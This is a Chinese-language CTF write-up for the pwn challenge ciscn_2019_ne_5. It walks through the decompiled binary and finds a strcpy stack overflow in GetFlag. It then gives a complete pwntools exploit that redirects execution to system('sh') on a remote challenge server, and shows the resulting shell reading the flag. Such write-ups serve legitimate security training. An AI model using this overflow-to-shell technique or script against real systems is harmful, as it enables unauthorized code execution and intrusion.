比较有趣的一道题目

IDA… | Pseu… | Stack of … | Pseu… | Stack o… | Strings… | Stack…

```
10
11  v9 = &argc;
12  setbuf(stdin, 0);
13  setbuf(stdout, 0);
14  setbuf(stderr, 0);
15  fflush(stdout);
16  *(_DWORD *)s1 = 48;
17  memset(v8, 0, sizeof(v8));
18  *(_DWORD *)src = 48;
19  memset(v6, 0, sizeof(v6));
20  puts("Welcome to use LFS.");
21  printf("Please input admin password:");
22  __isoc99_scanf("%100s", s1);
23  if ( strcmp(s1, "administrator") )
24  {
25    puts("Password Error!");
26    exit(0);
27  }
28  puts("Welcome!");
29  puts("Input your operation:");
30  puts("1.Add a log.");
31  puts("2.Display all logs.");
32  puts("3.Print all logs.");
33  printf("0.Exit\n:");
34  __isoc99_scanf("%d", &v4);
35  switch ( v4 )
36  {
```

首先要过掉普通判断，即密码必须是administrator

```
34   __isoc99_scanf("%d", &v4);
35   switch ( v4 )
36   {
37     case 0:
38       exit(0);
39       return result;
40     case 1:
41       AddLog(src);
42       result = sub_804892B(argc, argv, envp);
43       break;
44     case 2:
45       Display(src);
46       result = sub_804892B(argc, argv, envp);
47       break;
48     case 3:
49       Print();
50       result = sub_804892B(argc, argv, envp);
51       break;
52     case 4:
53       GetFlag(src);
54       result = sub_804892B(argc, argv, envp);
55       break;
56     default:
57       result = sub_804892B(argc, argv, envp);
58       break;
59   }
60   return result;
61 }
```

首先要找到溢出点

Addlog和GetFlag函数中分别有一个溢出，但是Addlog里面的是无效的

GetFlag中的strcpy使得在src中的字符串有了溢出的可能。

```
1 int __cdecl GetFlag(char *src)
2 {
3   char dest[4]; // [esp+0h] [ebp-48h] BYREF
4   char v3[60]; // [esp+4h] [ebp-44h] BYREF
5
6   *(_DWORD *)dest = 48;
7   memset(v3, 0, sizeof(v3));
8   strcpy(dest, src);
9   return printf("The flag is your log:%s\n", dest);
0 }
```

此时溢出，找到了system函数，但是需要/bin/sh或者sh字符串才行

```
0x080482ea : sh
root@ubuntu:/home/giantbranch/Desktop/ctf# ROPgadget --binary ciscn_2019_ne_5 --
string sh
Strings information
============================================================
0x080482ea : sh
```

exp.py (~/Desktop/ctf) - gedit

Open

```
from pwn import *
io = remote('node3.buuoj.cn',25168)
elf = ELF('ciscn_2019_ne_5')
password = 'administrator'
switch_addr = 0x8048851
system_plt = elf.plt['system']
sh_addr = 0x080482ea
payload ='a'*(0x48+4)+p32(system_plt)+p32(sh_addr)+p32(sh_addr)

io.recvuntil('Please input admin password:')
io.sendline(password)
io.recvuntil("0.Exit\n:")
io.sendline('1')
io.recvuntil('Please input new log info:')
io.sendline(payload)
io.recvuntil('0.Exit\n')
io.sendline('4')

io.interactive()
```

```
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{e56c04c9-38ea-4d3e-aa5a-33e482a057be}
[*] Got EOF while reading in interactive
```

Importance

1.scanf（“%128s”，&a）会截断读入，读到128个字节，剩下的字符会留在缓冲区内
2.ROPgadget不止可以搜索rop链，可以搜字符串

3.一个函数调用只要考虑加个返回地址，ebp函数内部自己会调用!